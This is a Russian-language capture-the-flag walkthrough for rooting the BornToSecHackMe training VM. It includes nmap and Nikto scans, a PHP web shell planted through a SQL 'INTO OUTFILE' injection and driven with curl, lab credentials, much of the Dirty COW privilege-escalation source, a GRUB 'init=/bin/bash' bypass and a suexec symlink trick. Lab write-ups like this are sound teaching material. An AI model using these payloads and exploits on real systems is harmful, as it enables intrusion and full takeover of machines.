Задача: У нас есть дистрибутив BornToSecHackMe-v1.1.iso со стороны 42.fr в котором нужно получить права суперпользователя root.
-
Запустив дистрибутив мы можем обнаружить что на этот раз ip-адрес не высвечивается как это было в snow-crash, поэтому нужно будет его найти.
-
Зупускаем VirtualBox с уже установленной Kali, но прежде чем запустить дистрибутив BornToSecHackMe-v1.1.iso и Kali идем в Tools -> Network и создаем сетевую карту. По умолчанию она будет называться
vboxnet0, в данном случае хост системой будет выступать наш iMac / macBook, посредиником будет выступать VirtualBox, а гостевыми системами будут Kali и BornToSecHackMe-v1.1, после того как мы сделали сетевую карту мы идем в настройки наших машин ведь нам нужно будет настроить им адаптер Host-only, что делает этот адаптер? Адаптер создает сеть между хост-системой и виртуальной машиной, минуя физическую сетевую карту. На компьютере появляется программный сетевой интерфейс, служащий для обмена данными между виртуальными машинами и хост-системой. Виртуальные машины могут соединятся друг с другом и хост-системой, как будто соединены через коммутатор. Как и в режиме внутренней сети, виртуальной машине не предоставляется физический интерфейс, благодаря чему машины не могут взаимодействовать с внешней сетью. В хост-системе появляется устройство VirtualBox Host-Only Network. Оно имеет собственную подсеть192.168.56.0и шлюз с адресом -192.168.56.1. Устройство соединяет подсеть и хост-систему без прямого выхода во внешнюю сеть. -
Теперь нам нужно убедиться что мы действительно находимся в одной подсети, запускаем наши машины и все операции на этот раз мы будем производить с Kali, аккуратный способ сделать это - пропинговать широковещательный адрес, который заполнит наш локальный кэш arp таблицы.
ping -b 192.168.56.255Напоминаю: Широковещательный адрес — условный (не присвоенный никакому устройству в сети) адрес, который используется для передачи широковещательных пакетов в компьютерных сетях.
arp -aС нашей Kali можно сразу воспользоваться утилитой nmap для поиска уязвимостей и вбить следующее:
nmap 192.168.56.1-255тем самым проверить на уязвимость все устройства которые находятся с нами в одной подсети и перезаписатьarpтаблицу, если что, то BornToSecHackMe- v1.1 там засветится.После это мы увидим следующее:
Nmap scan report for 192.168.56.XX Host is up (0.0010s latency). Not shown: 994 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 143/tcp open imap 443/tcp open https 993/tcp open imaps -
Итак что мы имеем? Мы видим открытые порты и понимаем что можем сделать, но пока что остается вопрос где взять учетные записи и пароли к ним? Давайте сходим на 80 порт и посмотрим что у нас там есть? Вбиваем в строку поиска адрес
192.168.X.XX:80Далее мы попадаем на обычную интернет страничку на которой написано 'HACK ME' давайте попробуем поискать тут информацию, открыв панель разработчика в надежде найти что-то интересное в html разметке я нашел ровно нихуя. Мы же помним что мы сидим с Kali? Ок, выпускайтеNikto.Что такое Nikto?
Nikto– это сканер с открытым исходным кодом (GPL) для веб-серверов, он выполняет комплексные тесты в отношении серверов по нескольким направлениям, включая более 6700 потенциально опасных файлов/программ, проверка на устаревшие версии более 1250 серверов и проблемы, специфичные для версий более чем 270 серверов. Сканер также проверяет элементы конфигурации сервера, такие как присутствие нескольких индексных файлов, серверные опции HTTP и пытается определить имя и версии веб-сервера и программного обеспечения.На официальном сайте изменения замерли на 2.1.5 версии аж в 2012 году. Тем не менее, под руководством автора проект живёт на GitHub’е, пользователи регулярно добавляют в базу данных и плагины изменения для сканирования новых уязвимостей, новых версий и т.д.
Nikto не создавался быть незаметным. Он будет тестировать веб-сервер за самое быстрое возможное время, очевидно, что его активность попадёт в логи веб- сервера и в поле зрение IPS/IDS (систем обнаружения/предотвращения вторжений). Тем не менее, имеется поддержка для анти-IDS методов из LibWhisker – на случай, если вы захотите их попробовать (или протестировать вашу систему IDS).
Не каждая проверка относится к проблеме безопасности, хотя большинство относятся. Некоторые пункты являются проверками типа «только для информации», которые ищут вещи, может быть не имеющие брешей безопасности, но веб-мастер или инженер по безопасности могут не знать, что это присутствует на сервере. Обычно в выводимой информации эти элементы помечены соответствующим образом. Есть также некоторые проверки на неизвестные элементы, которые были замечены в файлах журналов.
Теперь я прорекламировал Nikto и мне за это не заплатили.
Вбиваем:
nikto -h https://192.168.56.XXЧто мы получаем после? Мы получаем пару каталогов которые могут быть нам интересны, а это
forum,webmail,phpMyAdminТеперь у нас есть маршрут, ну что погнали? Давайте походим по всем этим точками и первой точкой будет форум
https://192.168.56.XX/forum/, дальше пойдем к почтеhttps://192.168.56.XX/webmail/, ну и на последок заглянем в БДhttps://192.168.56.XX/phpmyadmin/. После того как мы походили по всем этим точкам, мы понимаем что нам также не хватает логинов и паролей, но у нас есть форум, где можно попробовать поискать информацию. После серфинга по форуму удалось там обнаружить гения, который достаточно открыто показал свой пароль -> формулировка была следующейFailed password for invalid user !q\]Ej?*5K5cy*AJ, этим гением оказалсяlmezard, давайте логиниться на форуме.Залогинились на форуме и давайте зайдем профиль, в профиле посмотрели информацию о пользователе и нашли там его электронный адрес почты.
Теперь у нас есть почта, а это значит можно попробовать пойти посмотреть как дела у почты
https://192.168.56.XX/webmail/, как оказалось пароль остался тем же!q\]Ej?*5K5cy*AJЗалогинившись в почту внимание сразу падает на
DB Access, открываем и видим там логин и парольroot/Fg-'kKXBj87E:aJ$зная что у нас естьphpMyAdminсразу идем тудаhttps://192.168.56.XX/phpmyadmin/, на этот раз спросим как дела у БД. -
Сейчас будут достаточно интересные моменты про
SQL инъекциии что может быть если не защищаться от них.Одна из конечных целей взлома - это возможность получить оболочки для выполнения системных команд и владения целью или сетью . SQL-инъекция обычно связана только с базами данных и их данными, но фактически может использоваться как вектор для получения командной оболочки. В качестве эксперимента мы будем использовать простую ошибку SQL-инъекции для выполнения команд.
В общем и целом как нам понять все это и что нужно делать?
Нам нужно определить корневой каталог веб-сервера для загрузки нашей оболочки. В зависимости от приложения и типа используемого веб-сервера это может варьироваться, особенно если администратор изменяет местоположение по умолчанию или имеются соответствующие разрешения. Для целей этой демонстрации мы предположим, что корневой веб-каталог Apache по умолчанию ( / var / www / ) используется с общедоступными разрешениями на запись. Информацию о веб-сервере, включая корневой каталог, обычно можно найти в файле «phpinfo.php», но в гашем случае мы просто выпустим на волю
DirBuster.Что такое
DirBuster?DirBuster— это многопотоковое Java приложение, предназначенное для брутфорса имён директорий и файлов веб-приложений и веб-серверов. DirBuster пытается найти скрытые каталоги и файлы.Тем не менее, подобные инструменты в немалой степени ценны своими списками директорий и файлов. С этой программой поставляется несколько словарей, которые были собраны из реальных названий файлов и директорий. Всего в DirBuster имеется 9 словарей, их описание будет дано ниже. Но если и этого мало, то DirBuster умеет делать чистый брутфорс, от которого ничего не способно скрыться! Конечно, если у вас есть время 😉
Домашняя страница: https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
Что это и для чего это нужно? -> Запустили
DirBusterи получили ответ.Вопрос: Есть две папки -
templates_cиcache, которые используются при использовании Smarty с кэшированием.Ответ:
templates_c- используется для скомпилированных шаблонов, но без фактического содержимого, которое может быть динамически вставлено в них. С другой стороны, папка cache используется для того, что вы знаете как кэшированные страницы - полные страницы, которые служили пользователю вместо того, чтобы каждый раз заново компилировать их.Теперь мы понимаем что у нас есть
templates_c- каталог, которому всегда нужно разрешение на запись.Мы можем использовать команду into outfile для записи в файл. В этом случае мы вставим простой скрипт PHP, который сможет запускать системные команды. Скрипт, который мы удачно назовем cmd.php, должен выглядеть так:
<?php system($_GET["cmd"]); ?>Теперь выполним инъекцию. Нам нужно будет использовать в скрипте двойные кавычки, поскольку нам нужно заключить вторую часть оператора в одинарные кавычки - это позволит избежать синтаксических ошибок. Полная инъекция будет выглядеть так:
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/forum/templates_c/cmd.php'Давайте проверим что у нас получилось, в адресной строке браузера наберем
https://192.168.56.XX/forum/templates_c/cmd.php?cmd=pwdи если мы в ответ получили/var/www/forum/templates_c, тогда шалость удалась -
Вспомним что такое
curl? На самом деле, curl - это набор библиотек, в которых реализуются базовые возможности работы с URL страницами и передачи файлов. Библиотека поддерживает работу с протоколами: FTP, FTPS, HTTP, HTTPS, TFTP, SCP, SFTP, Telnet, DICT, LDAP, а также POP3, IMAP и SMTP. Она отлично подходит для имитации действий пользователя на страницах и других операций с URL адресами.Открываем терминал у Kali и пишем:
curl --insecure 'https://192.168.56.XX/forum/templates_c/cmd.php?cmd=ls%20-la%20/home'drwxrwx--x 9 www-data root 126 Oct 13 2015 . drwxr-xr-x 1 root root 200 Apr 16 04:01 .. drwxr-x--- 2 www-data www-data 31 Oct 8 2015 LOOKATME drwxr-x--- 6 ft_root ft_root 156 Jun 17 2017 ft_root drwxr-x--- 3 laurie laurie 143 Oct 15 2015 laurie drwxr-x--- 4 laurie@borntosec.net laurie@borntosec.net 113 Oct 15 2015 laurie@borntosec.net dr-xr-x--- 2 lmezard lmezard 61 Oct 15 2015 lmezard drwxr-x--- 3 thor thor 129 Oct 15 2015 thor drwxr-x--- 4 zaz zaz 147 Oct 15 2015 zazДумаю вы теперь понимаете что можно делать? Просто напоминаю что
%20- это символ пробелаЗабегая вперед мы видим файл
LOOKATMEэтот файл содержит в себе логин и парольlmezard:G!@M6f4Eatau{sF"Что у нас осталось сейчас? Попробуем
SSHилиFTPNmap scan report for 192.168.56.XX Host is up (0.0010s latency). Not shown: 994 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 143/tcp open imap 443/tcp open https 993/tcp open imapsУдалось зайти по FTP соединению, у нас есть два файла один из которых нам понятен, это обычный
README, а второй файлfunне понятный. Попробуем открыть через текстовый редактор, уверен что это не даст нам результата, так и вышло, тогда мы попытались распарсить его через утилитуstrings, но тут тоже ничего не вышло, окей давайте узнаем что это за файл, подрубаем утилитуfileаргументом подаем тот самый файлfile fun, после чего узнаем что это обычный архив, ну тут понятно что делатьtar -xf fun. Окей, появилась деррикторияft_fun, открыв ее и изучив, мы поняли что файлы с расширением.pcap, наивные мы, сразу пошли в wireshark и попытались смержить все эти файлы, но это оказалось невозможным. Изучив этот вопрос мы поняли что просто так нам это не решить, тогда мы решили прибегнуть к помощи коллег, все решилось помощью скрипта на python.#! /usr/bin/env python3 import os import re import sys results = {} for file in os.listdir("ft_fun"): f = open("ft_fun/%s" % file, 'r') content = f.read() f.close() file_line = re.search(r'//file([0-9]*)', content) file_number = int(file_line.group(1)) results[file_number] = content original_stdout = sys.stdout with open("main.c", 'w+') as file: sys.stdout = file for _, value in sorted(results.items()): print(value) file.close()Если кратко, то эти файлы имеют код
Сии комментарии, номер / строку.Выполнив все манипуляции с код-инжинирингом мы получили пароль
Iheartpwnage, но от кого этот пароль? Теперь вспоминаем почту и пользователя под логиномlaurieУ нас остался только SSH протокол, давайте попробуем зайти под логином
laurieи паролемIheartpwnage, вот тут забегая вперед скажу что этого сделать не получится. Как оказалось пароль который мы получили нужно захешироватьecho -n "Iheartpwnage" | shasum -a 256, это мы поняли только спустя время и подсказки, теперь мы можем залогиниться под логиномlaurieи паролем330b845f32185747e4f8ca15d40ca59796035c89ea809fb5d30f4da83ecf45a4.Следующий этап достаточно сложный, его можно решить, но мы не стали тратить на это время, это реверс-инжиниринг и можно использовать
Ghidra.Просто используем уязвимость которую назвали
Dirty Cow.Уязвимость Dirty COW — серьезная программная уязвимость в ядре Linux, существующая с 2007 года и исправленная в октябре 2016 года. С её помощью локальный пользователь может повысить свои привилегии из-за ошибки состязания в реализации механизма копирования при записи для страниц памяти, помеченных флагом Dirty bit
Создаем в каталоге файл
dirty.c// This exploit uses the pokemon exploit of the dirtycow vulnerability // as a base and automatically generates a new passwd line. // The user will be prompted for the new password when the binary is run. // The original /etc/passwd file is then backed up to /tmp/passwd.bak // and overwrites the root account with the generated line. // After running the exploit you should be able to login with the newly // created user. // // To use this exploit modify the user values according to your needs. // The default is "firefart". // // Original exploit (dirtycow's ptrace_pokedata "pokemon" method): // https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c // // Compile with: // gcc -pthread dirty.c -o dirty -lcrypt // // Then run the newly create binary by either doing: // "./dirty" or "./dirty my-new-password" // // Afterwards, you can either "su firefart" or "ssh firefart@..." // // DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT! // mv /tmp/passwd.bak /etc/passwd // // Exploit adopted by Christian "FireFart" Mehlmauer // https://firefart.at // #include <fcntl.h> #include <pthread.h> #include <string.h> #include <stdio.h> #include <stdint.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/wait.h> #include <sys/ptrace.h> #include <stdlib.h> #include <unistd.h> #include <crypt.h> const char *filename = "/etc/passwd"; const char *backup_filename = "/tmp/passwd.bak"; const char *salt = "firefart"; int f; void *map; pid_t pid; pthread_t pth; struct stat st; struct Userinfo { char *username; char *hash; int user_id; int group_id; char *info; char *home_dir; char *shell; }; char *generate_password_hash(char *plaintext_pw) { return crypt(plaintext_pw, salt); } char *generate_passwd_line(struct Userinfo u) { const char *format = "%s:%s:%d:%d:%s:%s:%s\n"; int size = snprintf(NULL, 0, format, u.username, u.hash, u.user_id, u.group_id, u.info, u.home_dir, u.shell); char *ret = malloc(size + 1); sprintf(ret, format, u.username, u.hash, u.user_id, u.group_id, u.info, u.home_dir, u.shell); return ret; } void *madviseThread(void *arg) { int i, c = 0; for(i = 0; i < 200000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); } int copy_file(const char *from, const char *to) { // check if target file already exists if(access(to, F_OK) != -1) { printf("File %s already exists! Please delete it and run again\n", to); return -1; } char ch; FILE *source, *target; source = fopen(from, "r"); if(source == NULL) { return -1; } target = fopen(to, "w"); if(target == NULL) { fclose(source); return -1; } while((ch = fgetc(source)) != EOF) { fputc(ch, target); } printf("%s successfully backed up to %s\n", from, to); fclose(source); fclose(target); return 0; }Это не весь код, смотри
dirty.c, дальше ты знаешь что делать. Enjoy!
-
-
При загрузке системы зажимаем
Shift, чтобы попасть к меню загрузкиGrubПеред тем как что-то вводить нажми на
tabчтобы посмотреть какое ядро доступноНабираем:
live init=/bin/bashЕсли очень коротко, то эта функция, используется для обслуживания системы она позволяет восстанавливать систему из испорченных файлов инициализации или менять забытый пароль.
Этот пост в списке рассылки Red Hat объясняет некоторые вещи: В Unix-подобных системах init - это первый запущенный процесс, и он является предком всех когда-либо запущенных процессов. Он отвечает за запуск всех сценариев инициализации.
https://listman.redhat.com/archives/rhl-list/2005-March/msg04089.html
Вы говорите ядру Linux запускать / bin / bash как init, а не как системный init, таким образом, вы ничего не используете, вы просто используете стандартную функцию ядра.
-
Уязвимость Apache suEXEC
В системе suexec из комплекта apache 1.3.x и 2.x обнаружено несколько уязвимостей, позволяющих локальному злоумышленнику запусить свой скрипт с правами другого непривилегированного пользователя:
-
Возможность подмены директории на симлинк (Race Condition), в момент после проверки директории и перед переходом в нее.
-
Ошибка дизайна кода проверки путей, вхождение поддиректории определяется через
strncmp(), т.е. в дополнение к описанной в конфиругации директории"/var/www/html"проверка будет удачной и для"/var/www/html_backup"или"/var/www/htmleditor". -
Имея возможность запуска suexec с передачей параметров командной строки (обычно, запуск разрешен только с uid httpd процесса), злоумышленник может создать файлы c
UIDиGIDдругих пользователей.После исследования мы обнаружили, что эта версия уязвима. Одна из уязвимостей которую мы будем использовать - это обход пути. Мы можем создать символическую ссылку с
/и страницуphpдля доступа к файлам, которые пользовательwww-dataможет читать.Проверить версию:
nmap -sV 192.168.56.XXСнова сделаем SQL инъекцию:
SELECT 1, '<?php symlink(\"/\", \"paths.php\");?>' INTO OUTFILE '/var/www/forum/templates_c/run.php', после этого можно сразу идти по адресуhttps://192.168.56.XX/forum/templates_c/run.php, чтобы запустить наш маленький скрипт, как только скрипт отработает мы увидим в окне браузера1, значит можно идти по следующему адресуhttps://192.168.56.XX/forum/templates_c/paths.phpПоздравляю, вы получили доступ ко всем каталогам, удачи!
-
-
Остальные реализации получения прав суперпользователя https://dirtycow.ninja/